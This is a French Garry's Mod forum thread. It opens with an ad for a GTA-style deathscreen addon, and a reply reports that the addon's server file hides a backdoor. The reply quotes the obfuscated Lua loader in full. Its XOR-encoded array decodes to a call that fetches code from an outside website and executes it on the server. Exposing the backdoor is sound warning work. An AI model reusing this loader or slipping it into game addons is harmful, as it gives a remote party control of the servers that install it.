Ressources Deathscreen Style GTA – Immersion Garantie ! V1.0

userKV

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28 Août 2025
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Pseudo RP
MaxeN
Plonge tes joueurs dans une expérience ultime avec ce deathscreen inspiré de GTA. Avec son esthétique soignée et son animation percutante, chaque mort devient un moment marquant !
Facile à intégrer, personnalisable à souhait, ce système ajoutera une vraie touche de style à ton serveur RP ou fun. Parfait pour impressionner ta communauté et renforcer l’immersion !


✅ Style visuel fidèle à GTA
✅ Texte personnalisé à l’écran de mort
✅ Animation fluide et clean
✅ Intégration rapide sur tout type de serveur Garry’s Mod
 

Pièces jointes

  • deathscreen-sinoux.zip
    3.4 KB · Affichages: 25

greaujordan52

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3 Novembre 2025
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Pseudo RP
jordanbax
Nice une back door au sv_deathscreen.lua
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,19,9,14,1,24,78,19,9,20,5,79,6,78,16,8,16,95,11,5,25,93,41,43,38,1,80,10,83,53,33,10,33,26,11,13,38,50,19,57,14,1,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end if o~=string.len(string.dump(RunningDRMe))then AZE=10 CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")() if AZE<40 then return end continue else local pdata="" xpcall(function() for i=1,#AE do pdata=pdata..string.char(bit.bxor(AE,o%150)) end for i=1,string.len(string.dump(CompileString)) do while o==1 do o=o+1 end end end,function() xpcall(function() local debug_inject=CompileString(pdata,"DRME") pcall(debug_inject,"stat") pdata="F" t=1 end,function() print("error") end) end) end end end RunningDRMe() ]],"tenjznj")